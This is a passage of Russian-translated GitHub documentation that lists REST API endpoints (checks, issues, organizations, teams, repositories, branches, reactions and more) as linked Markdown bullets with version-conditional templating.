артефакта](/rest/actions#get-an-artifact) +* [Удаление артефакта](/rest/actions#delete-an-artifact) +* [Загрузка артефакта](/rest/actions#download-an-artifact) {% endif %} + +#### Проверка запусков + +* [Создание выполнения проверки](/rest/checks#create-a-check-run) +* [Получение выполнения проверки](/rest/checks#get-a-check-run) +* [Обновление выполнения проверки](/rest/checks#update-a-check-run) +* [Список аннотаций выполнения проверки](/rest/checks#list-check-run-annotations) +* [Список выполнений проверок в наборе проверок](/rest/checks#list-check-runs-in-a-check-suite) +* [Список выполнений проверок для ссылки на Git](/rest/checks#list-check-runs-for-a-git-reference) + +#### Проверить пакеты + +* [Создание набора проверок](/rest/checks#create-a-check-suite) +* [Получение набора проверок](/rest/checks#get-a-check-suite) +* [Повторный запрос набора проверок](/rest/checks#rerequest-a-check-suite) +* [Обновление параметров репозитория для наборов проверок](/rest/checks#update-repository-preferences-for-check-suites) +* [Список наборов проверок для ссылки Git](/rest/checks#list-check-suites-for-a-git-reference) + +#### Правила поведения + +* [Получение всех правил поведения](/rest/codes-of-conduct#get-all-codes-of-conduct) +* [Получение правил поведения](/rest/codes-of-conduct#get-a-code-of-conduct) + +#### Состояния развертывания + +* [Список состояний развертывания](/rest/deployments#list-deployment-statuses) +* [Создание состояния развертывания](/rest/deployments#create-a-deployment-status) +* [Получение состояния развертывания](/rest/deployments#get-a-deployment-status) + +#### Развернутые приложения + +* [Перечислить развертывания](/rest/deployments#list-deployments) +* [Создание развертывания](/rest/deployments#create-a-deployment) +* [Получение развертывания](/rest/deployments#get-a-deployment) +* [Удаление развертывания](/rest/deployments#delete-a-deployment) + +#### События + +* [Список общедоступных событий для сети репозиториев](/rest/activity#list-public-events-for-a-network-of-repositories) +* [Список событий общественных организаций](/rest/activity#list-public-organization-events) + +#### Веб-каналы + +* [Получение веб-каналов](/rest/activity#get-feeds) + +#### Большие двоичные объекты Git + +* [Создание BLOB-объекта](/rest/git#create-a-blob) +* [Получение большого двоичного объекта](/rest/git#get-a-blob) + +#### Фиксация Git + +* [Создание фиксации](/rest/git#create-a-commit) +* [Получение фиксации](/rest/git#get-a-commit) + +#### Ссылки на Git + +* [Создание ссылки](/rest/git#create-a-reference) +* [Получение ссылки](/rest/git#get-a-reference) +* [Список совпадающих ссылок](/rest/git#list-matching-references) +* [Обновление ссылки](/rest/git#update-a-reference) +* [Удаление ссылки](/rest/git#delete-a-reference) + +#### Теги Git + +* [Создание объекта тега](/rest/git#create-a-tag-object) +* [Получение тега](/rest/git#get-a-tag) + +#### Деревья Git + +* [Создание дерева](/rest/git#create-a-tree) +* [Получение дерева](/rest/git#get-a-tree) + +#### Шаблоны Gitignore + +* [Получение всех шаблонов gitignore](/rest/gitignore#get-all-gitignore-templates) +* [Получение шаблона gitignore](/rest/gitignore#get-a-gitignore-template) + +#### Установки + +* [Список репозиториев, доступных для маркера доступа пользователя](/rest/apps#list-repositories-accessible-to-the-user-access-token) + +{% ifversion fpt or ghec %} +#### Ограничения взаимодействия + +* [Получение ограничений взаимодействия для организации](/rest/interactions#get-interaction-restrictions-for-an-organization) +* [Настройка ограничений взаимодействия для организации](/rest/interactions#set-interaction-restrictions-for-an-organization) +* [Удаление ограничений взаимодействия для организации](/rest/interactions#remove-interaction-restrictions-for-an-organization) +* [Получение ограничений взаимодействия для репозитория](/rest/interactions#get-interaction-restrictions-for-a-repository) +* [Настройка ограничений взаимодействия для репозитория](/rest/interactions#set-interaction-restrictions-for-a-repository) +* [Удаление ограничений взаимодействия для репозитория](/rest/interactions#remove-interaction-restrictions-for-a-repository) {% endif %} + +#### Уполномоченные по проблеме + +* [Добавление уполномоченных к проблеме](/rest/issues#add-assignees-to-an-issue) +* [Удаление уполномоченных из проблемы](/rest/issues#remove-assignees-from-an-issue) + +#### Комментарии к проблеме + +* [Список комментариев к проблеме](/rest/issues#list-issue-comments) +* [Создание комментария к проблеме](/rest/issues#create-an-issue-comment) +* [Список комментариев к проблемам для репозитория](/rest/issues#list-issue-comments-for-a-repository) +* [Получение комментария к проблеме](/rest/issues#get-an-issue-comment) +* [Обновление комментария к проблеме](/rest/issues#update-an-issue-comment) +* [Удаление комментария к проблеме](/rest/issues#delete-an-issue-comment) + +#### События проблемы + +* [Список проблемных событий](/rest/issues#list-issue-events) + +#### Временная шкала проблем + +* [Список событий временной шкалы для проблемы](/rest/issues#list-timeline-events-for-an-issue) + +#### Проблемы + +* [Список проблем, назначенных пользователю, прошедшему проверку подлинности](/rest/issues#list-issues-assigned-to-the-authenticated-user) +* [Список уполномоченных](/rest/issues#list-assignees) +* [Проверка возможности назначения пользователя](/rest/issues#check-if-a-user-can-be-assigned) +* [Список проблем репозитория](/rest/issues#list-repository-issues) +* [Создание проблемы](/rest/issues#create-an-issue) +* [Получение проблемы](/rest/issues#get-an-issue) +* [Обновление проблемы](/rest/issues#update-an-issue) +* [Блокировка проблемы](/rest/issues#lock-an-issue) +* [Разблокировка проблемы](/rest/issues#unlock-an-issue) + +{% ifversion fpt or ghec %} +#### Задания + +* [Получение задания для выполнения рабочего процесса](/rest/actions#get-a-job-for-a-workflow-run) +* [Скачивание журналов заданий для запуска рабочего процесса](/rest/actions#download-job-logs-for-a-workflow-run) +* [Список заданий для запуска рабочего процесса](/rest/actions#list-jobs-for-a-workflow-run) {% endif %} + +#### Метки + +* [Список меток для проблемы](/rest/issues#list-labels-for-an-issue) +* [Добавление меток для проблемы](/rest/issues#add-labels-to-an-issue) +* [Настройка меток для проблемы](/rest/issues#set-labels-for-an-issue) +* [Удаление всех меток из проблемы](/rest/issues#remove-all-labels-from-an-issue) +* [Удаление метки из проблемы](/rest/issues#remove-a-label-from-an-issue) +* [Список меток для репозитория](/rest/issues#list-labels-for-a-repository) +* [Создание Label](/rest/issues#create-a-label) +* [Получение метки](/rest/issues#get-a-label) +* [Обновление метки](/rest/issues#update-a-label) +* [Удаление метки](/rest/issues#delete-a-label) +* [Получение метки для каждой проблемы в вехе](/rest/issues#list-labels-for-issues-in-a-milestone) + +#### Лицензии + +* [Получение всех часто используемых лицензий](/rest/licenses#get-all-commonly-used-licenses) +* [Получение лицензии](/rest/licenses#get-a-license) + +#### Markdown + +* [Преобразование для просмотра документа Markdown](/rest/markdown#render-a-markdown-document) +* [Преобразование для просмотра документа Markdown в режиме RAW](/rest/markdown#render-a-markdown-document-in-raw-mode) + +#### Meta + +* [Meta](/rest/meta#meta) + +#### Вехи + +* [Список вех](/rest/issues#list-milestones) +* [Создание вехи](/rest/issues#create-a-milestone) +* [Получение вехи](/rest/issues#get-a-milestone) +* [Обновление вехи](/rest/issues#update-a-milestone) +* [Удаление вехи](/rest/issues#delete-a-milestone) + +#### Перехватчики организации + +* [Список веб-перехватчиков организации](/rest/orgs#webhooks/#list-organization-webhooks) +* [Создание веб-перехватчика организации](/rest/orgs#webhooks/#create-an-organization-webhook) +* [Получение веб-перехватчика организации](/rest/orgs#webhooks/#get-an-organization-webhook) +* [Обновление веб-перехватчика организации](/rest/orgs#webhooks/#update-an-organization-webhook) +* [Удаление веб-перехватчика организации](/rest/orgs#webhooks/#delete-an-organization-webhook) +* [Проверка связи с веб-перехватчиком организации](/rest/orgs#webhooks/#ping-an-organization-webhook) + +{% ifversion fpt or ghec %} +#### Приглашения организации + +* [Список ожидающих приглашений организаций](/rest/orgs#list-pending-organization-invitations) +* [Создание приглашений организации](/rest/orgs#create-an-organization-invitation) +* [Список команд приглашений организаций](/rest/orgs#list-organization-invitation-teams) {% endif %} + +#### Участники организации + +* [Список участников организации](/rest/orgs#list-organization-members) +* [Проверка членства пользователя в организации](/rest/orgs#check-organization-membership-for-a-user) +* [Удаление участника организации](/rest/orgs#remove-an-organization-member) +* [Получение членства в организации для пользователя](/rest/orgs#get-organization-membership-for-a-user) +* [Настройка членства в организации для пользователя](/rest/orgs#set-organization-membership-for-a-user) +* [Удаление членства в организации для пользователя](/rest/orgs#remove-organization-membership-for-a-user) +* [Список участников общественных организаций](/rest/orgs#list-public-organization-members) +* [Проверка членства пользователя в общественной организации](/rest/orgs#check-public-organization-membership-for-a-user) +* [Настройка членства в общедоступной организации для пользователя, прошедшего проверку подлинности](/rest/orgs#set-public-organization-membership-for-the-authenticated-user) +* [Удаление членства в общедоступной организации для пользователя, прошедшего проверку подлинности](/rest/orgs#remove-public-organization-membership-for-the-authenticated-user) + +#### Организация сторонних участников совместной работы + +* [Список сторонних участников совместной работы для организации](/rest/orgs#list-outside-collaborators-for-an-organization) +* [Преобразование участника организации в стороннего участника совместной работы](/rest/orgs#convert-an-organization-member-to-outside-collaborator) +* [Удаление стороннего участника совместной работы из организации](/rest/orgs#remove-outside-collaborator-from-an-organization) + +{% ifversion ghes %} +#### Перехватчики предварительного получения организации + +* [Список перехватчиков предварительного получения для организации](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) +* [Получение перехватчика предварительного получения для организации](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) +* [Обновление принудительного использования перехватчика предварительного получения для организации](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization) +* [Отмена принудительного использования перехватчика предварительного получения для организации](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) {% endif %} + +#### Командные проекты организации + +* [Список командных проектов](/rest/teams#list-team-projects) +* [Проверка разрешений группы для проекта](/rest/teams#check-team-permissions-for-a-project) +* [Добавление или обновление разрешений для командного проекта](/rest/teams#add-or-update-team-project-permissions) +* [Удаление проекта из команды](/rest/teams#remove-a-project-from-a-team) + +#### Репозитории команды организации + +* [Список репозиториев команды](/rest/teams#list-team-repositories) +* [Проверка разрешений команды для репозитория](/rest/teams#check-team-permissions-for-a-repository) +* [Добавление или обновление разрешений на репозиторий команды](/rest/teams#add-or-update-team-repository-permissions) +* [Удаление репозитория из команды](/rest/teams#remove-a-repository-from-a-team) + +{% ifversion fpt or ghec %} +#### Синхронизация команды организации + +* [Список групп IdP для команды](/rest/teams#list-idp-groups-for-a-team) +* [Создание или обновление групповых подключений IdP](/rest/teams#create-or-update-idp-group-connections) +* [Список групп IdP для организации](/rest/teams#list-idp-groups-for-an-organization) {% endif %} + +#### Команды организации + +* [Список команд](/rest/teams#list-teams) +* [Создание команды](/rest/teams#create-a-team) +* [Получение команды по имени](/rest/teams#get-a-team-by-name) +* [Обновление команды](/rest/teams#update-a-team) +* [Удаление команды](/rest/teams#delete-a-team) {% ifversion fpt or ghec %} +* [Список ожидающих приглашений в команду](/rest/teams#list-pending-team-invitations) {% endif %} +* [Список членов команды](/rest/teams#list-team-members) +* [Получение членства в команде для пользователя](/rest/teams#get-team-membership-for-a-user) +* [Добавление или обновление членства в команде для пользователя](/rest/teams#add-or-update-team-membership-for-a-user) +* [Удаление членства в команде для пользователя](/rest/teams#remove-team-membership-for-a-user) +* [Список дочерних команд](/rest/teams#list-child-teams) +* [Список команд для пользователя, прошедшего проверку подлинности](/rest/teams#list-teams-for-the-authenticated-user) + +#### Организации + +* [Список организаций](/rest/orgs#list-organizations) +* [Добавление организации](/rest/orgs#get-an-organization) +* [Обновление организации](/rest/orgs#update-an-organization) +* [Список членства в организациях для пользователя, прошедшего проверку подлинности](/rest/orgs#list-organization-memberships-for-the-authenticated-user) +* [Получение членства в организации для пользователя, прошедшего проверку подлинности](/rest/orgs#get-an-organization-membership-for-the-authenticated-user) +* [Обновление членства в организации для пользователя, прошедшего проверку подлинности](/rest/orgs#update-an-organization-membership-for-the-authenticated-user) +* [Список организаций для пользователя, прошедшего проверку подлинности](/rest/orgs#list-organizations-for-the-authenticated-user) +* [Список организаций для пользователя](/rest/orgs#list-organizations-for-a-user) + +{% ifversion fpt or ghec %} +#### Авторизация учетных данных организаций + +* [Список авторизаций системы единого входа SAML для организации](/rest/orgs#list-saml-sso-authorizations-for-an-organization) +* [Удаление авторизации системы единого входа SAML для организации](/rest/orgs#remove-a-saml-sso-authorization-for-an-organization) {% endif %} + +{% ifversion fpt or ghec %} +#### Организации Scim + +* [Список подготовленных удостоверений SCIM](/rest/scim#list-scim-provisioned-identities) +* [Подготовка к работе и приглашение пользователя SCIM](/rest/scim#provision-and-invite-a-scim-user) +* [Получение информации о подготовке к работе SCIM для пользователя](/rest/scim#get-scim-provisioning-information-for-a-user) +* [Настройка информации SCIM для подготовленного к работе пользователя](/rest/scim#set-scim-information-for-a-provisioned-user) +* [Обновление атрибута пользователя SCIM](/rest/scim#update-an-attribute-for-a-scim-user) +* [Удаление пользователя SCIM из организации](/rest/scim#delete-a-scim-user-from-an-organization) {% endif %} + +{% ifversion fpt or ghec %} +#### Импорт источников + +* [Получение сведений о состоянии импорта](/rest/migrations#get-an-import-status) +* [Запуск импорта](/rest/migrations#start-an-import) +* [Обновление импорта](/rest/migrations#update-an-import) +* [Отмена импорта](/rest/migrations#cancel-an-import) +* [Получение авторов фиксации](/rest/migrations#get-commit-authors) +* [Сопоставление автора фиксации](/rest/migrations#map-a-commit-author) +* [Получение больших файлов](/rest/migrations#get-large-files) +* [Обновление настроек Git LFS](/rest/migrations#update-git-lfs-preference) {% endif %} + +#### Участники совместной работы проекта + +* [Список участников совместной работы проекта](/rest/projects#list-project-collaborators) +* [Добавление участника совместной работы проекта](/rest/projects#add-project-collaborator) +* [Удалить участника совместной работы проекта](/rest/projects#remove-project-collaborator) +* [Получить разрешение проекта для пользователя](/rest/projects#get-project-permission-for-a-user) + +#### Проекты + +* [Список проектов организации](/rest/projects#list-organization-projects) +* [Создание проекта организации](/rest/projects#create-an-organization-project) +* [Получение проекта](/rest/projects#get-a-project) +* [Обновление проекта](/rest/projects#update-a-project) +* [Удаление проекта](/rest/projects#delete-a-project) +* [Список столбцов проекта](/rest/projects#list-project-columns) +* [Создание столбца проекта](/rest/projects#create-a-project-column) +* [Получение столбца проекта](/rest/projects#get-a-project-column) +* [Обновление столбца проекта](/rest/projects#update-a-project-column) +* [Удаление столбца проекта](/rest/projects#delete-a-project-column) +* [Список карточек проекта](/rest/projects#list-project-cards) +* [Создание карточки проекта](/rest/projects#create-a-project-card) +* [Перемещение столбца проекта](/rest/projects#move-a-project-column) +* [Получение карточки проекта](/rest/projects#get-a-project-card) +* [Обновление карточки проекта](/rest/projects#update-a-project-card) +* [Удаление карточки проекта](/rest/projects#delete-a-project-card) +* [Перемещение карточки проекта](/rest/projects#move-a-project-card) +* [Список проектов репозитория](/rest/projects#list-repository-projects) +* [Создание проекта репозитория](/rest/projects#create-a-repository-project) + +#### Комментарии к вытягиванию + +* [Список комментариев к проверке в запросе на вытягивание](/rest/pulls#list-review-comments-on-a-pull-request) +* [Создание комментария к проверке для запроса на вытягивание](/rest/pulls#create-a-review-comment-for-a-pull-request) +* [Список комментариев к проверке в репозитории](/rest/pulls#list-review-comments-in-a-repository) +* [Получение комментария к проверке для запроса на вытягивание](/rest/pulls#get-a-review-comment-for-a-pull-request) +* [Обновление комментария к проверке для запроса на вытягивание](/rest/pulls#update-a-review-comment-for-a-pull-request) +* [Удаление комментария к проверке для запроса на вытягивание](/rest/pulls#delete-a-review-comment-for-a-pull-request) + +#### События проверки запроса на вытягивание + +* [Закрытие проверки для запроса на вытягивание](/rest/pulls#dismiss-a-review-for-a-pull-request) +* [Отправка проверки для запроса на вытягивание](/rest/pulls#submit-a-review-for-a-pull-request) + +#### Запросы на проверку запроса на вытягивание + +* [Список запрашиваемых рецензентов для запроса на вытягивание](/rest/pulls#list-requested-reviewers-for-a-pull-request) +* [Запрашивание у рецензентов запроса на вытягивание](/rest/pulls#request-reviewers-for-a-pull-request) +* [Удаление запрашиваемых рецензентов из запроса на вытягивание](/rest/pulls#remove-requested-reviewers-from-a-pull-request) + +#### Проверки запросов на вытягивание + +* [Список проверок для запроса на вытягивание](/rest/pulls#list-reviews-for-a-pull-request) +* [Создание проверки для запроса на вытягивание](/rest/pulls#create-a-review-for-a-pull-request) +* [Получение проверки для запроса на вытягивание](/rest/pulls#get-a-review-for-a-pull-request) +* [Обновление проверки для запроса на вытягивание](/rest/pulls#update-a-review-for-a-pull-request) +* [Список комментариев для проверки запроса на вытягивание](/rest/pulls#list-comments-for-a-pull-request-review) + +#### Запросы данных + +* [Список запросов на вытягивание](/rest/pulls#list-pull-requests) +* [Создание запроса на включение изменений](/rest/pulls#create-a-pull-request) +* [Получение запроса на вытягивание](/rest/pulls#get-a-pull-request) +* [Обновление запроса на вытягивание](/rest/pulls#update-a-pull-request) +* [Список фиксаций в запросе на вытягивание](/rest/pulls#list-commits-on-a-pull-request) +* [Список файлов запросов на вытягивание](/rest/pulls#list-pull-requests-files) +* [Проверка объединения запроса на вытягивание](/rest/pulls#check-if-a-pull-request-has-been-merged) +* [Объединение запроса на вытягивание (кнопка "Объединить")](/rest/pulls#merge-a-pull-request) + +#### Реакции + +* [Удаление реакции](/rest/reactions) +* [Список реакций на комментарий фиксации](/rest/reactions#list-reactions-for-a-commit-comment) +* [Создание реакции на комментарий фиксации](/rest/reactions#create-reaction-for-a-commit-comment) +* [Список реакций на проблему](/rest/reactions#list-reactions-for-an-issue) +* [Создание реакции на проблему](/rest/reactions#create-reaction-for-an-issue) +* [Список реакций на комментарий к проблеме](/rest/reactions#list-reactions-for-an-issue-comment) +* [Создание реакции на комментарий к проблеме](/rest/reactions#create-reaction-for-an-issue-comment) +* [Список реакций на комментарий к проверке запроса на вытягивание](/rest/reactions#list-reactions-for-a-pull-request-review-comment) +* [Создание реакции на комментарий к проверке запроса на вытягивание](/rest/reactions#create-reaction-for-a-pull-request-review-comment) +* [Список реакций на комментарий в групповом обсуждении](/rest/reactions#list-reactions-for-a-team-discussion-comment) +* [Создание реакции на комментарий в групповом обсуждении](/rest/reactions#create-reaction-for-a-team-discussion-comment) +* [Список реакций для группового обсуждения](/rest/reactions#list-reactions-for-a-team-discussion) +* [Создание реакции для группового обсуждения](/rest/reactions#create-reaction-for-a-team-discussion) +* [Удаление реакции на комментарий фиксации](/rest/reactions#delete-a-commit-comment-reaction) +* [Удаление реакции на проблему](/rest/reactions#delete-an-issue-reaction) +* [Удаление реакции на комментарий к фиксации](/rest/reactions#delete-an-issue-comment-reaction) +* [Удаление реакции на комментарий к запросу на вытягивание](/rest/reactions#delete-a-pull-request-comment-reaction) +* [Удаление реакции на групповое обсуждение](/rest/reactions#delete-team-discussion-reaction) +* [Удаление реакции на комментарий в групповом обсуждении](/rest/reactions#delete-team-discussion-comment-reaction) + +#### Репозитории + +* [Список репозиториев организации](/rest/repos#list-organization-repositories) +* [Создание репозитория для пользователя, прошедшего проверку подлинности](/rest/repos#create-a-repository-for-the-authenticated-user) +* [Получение репозитория](/rest/repos#get-a-repository) +* [Обновление репозитория](/rest/repos#update-a-repository) +* [Удаление репозитория](/rest/repos#delete-a-repository) +* [Сравнение двух фиксаций](/rest/commits#compare-two-commits) +* [Список участников репозитория](/rest/repos#list-repository-contributors) +* [Список вилок](/rest/repos#list-forks) +* [Создание вилки](/rest/repos#create-a-fork) +* [Список языков репозитория](/rest/repos#list-repository-languages) +* [Список меток репозитория](/rest/repos#list-repository-tags) +* [Список команд репозитория](/rest/repos#list-repository-teams) +* [Перенос репозитория](/rest/repos#transfer-a-repository) +* [Список общедоступных репозиториев](/rest/repos#list-public-repositories) +* [Список репозиториев для пользователя, прошедшего проверку подлинности](/rest/repos#list-repositories-for-the-authenticated-user) +* [Список репозиториев для пользователя](/rest/repos#list-repositories-for-a-user) +* [Создание репозитория с использованием шаблона репозитория](/rest/repos#create-repository-using-a-repository-template) + +#### Деятельность репозитория + +* [Список звездочетов](/rest/activity#list-stargazers) +* [Список наблюдателей](/rest/activity#list-watchers) +* [Список репозиториев, отмеченных пользователем](/rest/activity#list-repositories-starred-by-a-user) +* [Проверка того, помечен ли репозиторий звездочкой пользователем, прошедшим проверку подлинности](/rest/activity#check-if-a-repository-is-starred-by-the-authenticated-user) +* [Пометка репозитория звездочкой для пользователя, прошедшего проверку подлинности](/rest/activity#star-a-repository-for-the-authenticated-user) +* [Снятие пометки звездочкой с репозитория для пользователя, прошедшего проверку подлинности](/rest/activity#unstar-a-repository-for-the-authenticated-user) +* [Список репозиториев, просмотренных пользователем](/rest/activity#list-repositories-watched-by-a-user) + +{% ifversion fpt or ghec %} +#### Автоматические исправления безопасности репозитория + +* [Включение автоматических исправлений безопасности](/rest/repos#enable-automated-security-fixes) +* [Отключение автоматических исправлений безопасности](/rest/repos#disable-automated-security-fixes) {% endif %} + +#### Ветви репозитория + +* [Список ветвей](/rest/branches#list-branches) +* [Получение ветви](/rest/branches#get-a-branch) +* [Получение защиты ветвей](/rest/branches#get-branch-protection) +* [Обновление защиты ветвей](/rest/branches#update-branch-protection) +* [Удаление защиты ветвей](/rest/branches#delete-branch-protection) +* [Получение защиты ветви администратора](/rest/branches#get-admin-branch-protection) +* [Настройка защиты ветви администратора](/rest/branches#set-admin-branch-protection) +* [Удаление защиты ветви администратора](/rest/branches#delete-admin-branch-protection) +* [Получение защиты проверки запросов на вытягивание](/rest/branches#get-pull-request-review-protection) +* [Обновление защиты проверки запросов на вытягивание](/rest/branches#update-pull-request-review-protection) +* [Удаление защиты проверки запросов на вытягивание](/rest/branches#delete-pull-request-review-protection) +* [Получение защиты сигнатуры фиксации](/rest/branches#get-commit-signature-protection) +* [Создание защиты сигнатуры фиксации](/rest/branches#create-commit-signature-protection) +* [Удаление защиты сигнатуры фиксации](/rest/branches#delete-commit-signature-protection) +* [Получение защиты проверки состояния](/rest/branches#get-status-checks-protection) +* [Обновление защиты проверки состояния](/rest/branches#update-status-check-protection) +* [Удаление защиты проверки состояния](/rest/branches#remove-status-check-protection) +* [Получение всех контекстов проверки состояния](/rest/branches#get-all-status-check-contexts) +* [Добавление контекстов проверки состояния](/rest/branches#add-status-check-contexts) +* [Добавление контекстов проверки состояния](/rest/branches#set-status-check-contexts) +* [Удаление контекстов проверки состояния](/rest/branches#remove-status-check-contexts) +* [Получение ограничений доступа](/rest/branches#get-access-restrictions) +* [Удаление ограничений доступа](/rest/branches#delete-access-restrictions) +* [Список команд с доступом к защищенной ветви](/rest/repos#list-teams-with-access-to-the-protected-branch) +* [Добавление ограничений доступа для команды](/rest/branches#add-team-access-restrictions) +* [Настройка ограничения доступа для команды](/rest/branches#set-team-access-restrictions) +* [Удаление ограничения доступа для команды](/rest/branches#remove-team-access-restrictions) +* [Список пользовательских ограничений защищенной ветви](/rest/repos#list-users-with-access-to-the-protected-branch) +* [Добавление ограничений доступа пользователя](/rest/branches#add-user-access-restrictions) +* [Настройка ограничений доступа пользователя](/rest/branches#set-user-access-restrictions) +* [Удаление ограничений доступа пользователя](/rest/branches#remove-user-access-restrictions) +* [Слияние ветви](/rest/branches#merge-a-branch) + +#### Участники совместной работы репозитория + +* [Список участников совместной работы репозитория](/rest/collaborators#list-repository-collaborators) +* [Проверка того, является ли пользователь участником совместной работы репозитория](/rest/collaborators#check-if-a-user-is-a-repository-collaborator) +* [Добавление участника совместной работы репозитория](/rest/collaborators#add-a-repository-collaborator) +* [Удаление участника совместной работы репозитория](/rest/collaborators#remove-a-repository-collaborator) +* [Получение разрешений репозитория для пользователя](/rest/collaborators#get-repository-permissions-for-a-user) + +#### Комментарии фиксации репозитория + +* [Список комментариев фиксации для репозитория](/rest/commits#list-commit-comments-for-a-repository) +* [Получение комментария фиксации](/rest/commits#get-a-commit-comment) +* [Обновление комментария фиксации](/rest/commits#update-a-commit-comment) +* [Удаление комментария фиксации](/rest/commits#delete-a-commit-comment) +* [Список комментариев фиксации](/rest/commits#list-commit-comments) +* [Создание комментария фиксации](/rest/commits#create-a-commit-comment) + +#### Фиксации репозитория + +* [Вывод списка фиксаций](/rest/commits#list-commits) +* [Получение фиксации](/rest/commits#get-a-commit) +* [Список ветвей для головной фиксации](/rest/commits#list-branches-for-head-commit) +* [Список запросов на вытягивание, связанных с фиксацией](/rest/repos#list-pull-requests-associated-with-commit) + +#### Сообщество репозитория + +* [Получение правил поведения для репозитория](/rest/codes-of-conduct#get-the-code-of-conduct-for-a-repository) {% ifversion fpt or ghec %} +* [Получение метрик профиля сообщества](/rest/metrics#get-community-profile-metrics) {% endif %} + +#### Содержимое репозитория + +* [Скачивание архива репозитория](/rest/repos#download-a-repository-archive) +* [Получение содержимого репозитория](/rest/repos#get-repository-content) +* [Создание или обновление содержимого файла](/rest/repos#create-or-update-file-contents) +* [Удаление файла](/rest/repos#delete-a-file) +* [Получение README репозитория](/rest/repos#get-a-repository-readme) +* [Получение лицензии на репозиторий](/rest/licenses#get-the-license-for-a-repository) + +#### Сообщения о событиях репозитория + +* [Создание события отправки репозитория](/rest/repos#create-a-repository-dispatch-event) + +#### Перехватчики репозитория + +* [Список веб-перехватчиков репозитория](/rest/webhooks#list-repository-webhooks) +* [Создание веб-перехватчика репозитория](/rest/webhooks#create-a-repository-webhook) +* [Получение веб-перехватчика репозитория](/rest/webhooks#get-a-repository-webhook) +* [Обновление веб-перехватчика репозитория](/rest/webhooks#update-a-repository-webhook) +* [Удаление веб-перехватчика репозитория](/rest/webhooks#delete-a-repository-webhook) +* [Проверка связи с веб-перехватчиком репозитория](/rest/webhooks#ping-a-repository-webhook) +* [Тестирование отправки веб-перехватчика-репозитория](/rest/repos#test-the-push-repository-webhook) + +#### Приглашения репозитория + +* [Список приглашений репозитория](/rest/collaborators#list-repository-invitations) +* [Обновление приглашений репозитория](/rest/collaborators#update-a-repository-invitation) +* [Удаление приглашения репозитория](/rest/collaborators#delete-a-repository-invitation) +* [Список приглашений в репозиторий для пользователя, прошедшего проверку подлинности](/rest/collaborators#list-repository-invitations-for-the-authenticated-user) +* [Принятие приглашения в репозиторий](/rest/collaborators#accept-a-repository-invitation) +* [Отклонение приглашения в репозиторий](/rest/collaborators#decline-a-repository-invitation) + +#### Ключи репозитория + +* [Список ключей развертывания](/rest/deployments#list-deploy-keys) +* [Создание ключа развертывания](/rest/deployments#create-a-deploy-key) +* [Получение ключа развертывания](/rest/deployments#get-a-deploy-key) +* [Удаление ключа развертывания](/rest/deployments#delete-a-deploy-key) + +#### Страницы репозитория + +* [Получение сайта GitHub Pages](/rest/pages#get-a-github-pages-site) +* [Создание сайта GitHub Pages](/rest/pages#create-a-github-pages-site) +* [Обновление информации о сайте GitHub Pages](/rest/pages#update-information-about-a-github-pages-site) +* [Удаление сайта GitHub Pages](/rest/pages#delete-a-github-pages-site) +* [Список сборок GitHub Pages](/rest/pages#list-github-pages-builds) +* [Запрос сборки GitHub Pages](/rest/pages#request-a-github-pages-build) +* [Получение сборки GitHub Pages](/rest/pages#get-github-pages-build) +* [Получение последней сборки страниц](/rest/pages#get-latest-pages-build) + +{% ifversion ghes %} +#### Перехватчики предварительного получения репозитория + +* [Список перехватчиков предварительного получения для репозитория](/enterprise/user/rest/enterprise-admin#list-pre-receive-hooks-for-a-repository) +* [Получение перехватчика предварительного получения для репозитория](/enterprise/user/rest/enterprise-admin#get-a-pre-receive-hook-for-a-repository) +* [Обновление принудительного использования перехватчика предварительного получения для репозитория](/enterprise/user/rest/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository) +* [Удаление принудительного использования перехватчика предварительного получения для репозитория](/enterprise/user/rest/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) {% endif %} + +#### Выпуски репозитория + +* [Вывод списка выпусков](/rest/repos#list-releases) +* [Создание выпуска](/rest/repos#create-a-release) +* [Получение выпуска](/rest/repos#get-a-release) +* [Обновление выпуска](/rest/repos#update-a-release) +* [Удаление выпуска](/rest/repos#delete-a-release) +* [Список ресурсов выпуска](/rest/repos#list-release-assets) +* [Получение ресурса выпуска](/rest/repos#get-a-release-asset) +* [Обновление ресурса выпуска](/rest/repos#update-a-release-asset) +* [Удаление ресурса выпуска](/rest/repos#delete-a-release-asset) +* [Получение последней версии](/rest/repos#get-the-latest-release) +* [Получение выпуска по имени метки](/rest/repos#get-a-release-by-tag-name) + +#### Статистика репозитория + +* [Получение еженедельной активности фиксации](/rest/metrics#get-the-weekly-commit-activity) +* [Получение активности фиксации за последний год](/rest/metrics#get-the-last-year-of-commit-activity) +* [Получение всех действий по фиксации участников](/rest/metrics#get-all-contributor-commit-activity) +* [Получение еженедельного количества фиксаций](/rest/metrics#get-the-weekly-commit-count) +* [Получение почасового количества фиксаций за каждый день](/rest/metrics#get-the-hourly-commit-count-for-each-day) + +{% ifversion fpt or ghec %} +#### Оповещения об уязвимостях репозитория + +* [Включение оповещений об уязвимостях](/rest/repos#enable-vulnerability-alerts) +* [Отключение оповещений об уязвимостях](/rest/repos#disable-vulnerability-alerts) {% endif %} + +#### Root + +* [Корневая конечная точка](/rest#root-endpoint) +* [Эмодзи](/rest/emojis#emojis) +* [Получение сведений о состоянии ограничения скорости для пользователя, прошедшего проверку подлинности](/rest/rate-limit#get-rate-limit-status-for-the-authenticated-user) + +#### Поиск + +* [Поиск по коду](/rest/search#search-code) +* [Поиск фиксаций](/rest/search#search-commits) +* [Поиск меток](/rest/search#search-labels) +* [Поиск репозиториев](/rest/search#search-repositories) +* [Поиск тем](/rest/search#search-topics) +* [Поиск пользователей](/rest/search#search-users) + +#### Состояния + +* [Получение сведений о комбинированном состоянии для конкретной ссылки](/rest/commits#get-the-combined-status-for-a-specific-reference) +* [Список состояний фиксации для справки](/rest/commits#list-commit-statuses-for-a-reference) +* [Создание состояния фиксации](/rest/commits#create-a-commit-status) + +#### Обсуждения в команде + +* [Список обсуждений](/rest/teams#list-discussions) +* [Создание обсуждения](/rest/teams#create-a-discussion) +* [Получение обсуждения](/rest/teams#get-a-discussion) +* [Обновление обсуждения](/rest/teams#update-a-discussion) +* [Удаление обсуждения](/rest/teams#delete-a-discussion) +* [Список комментариев к обсуждениям](/rest/teams#list-discussion-comments) +* [Создание комментария к 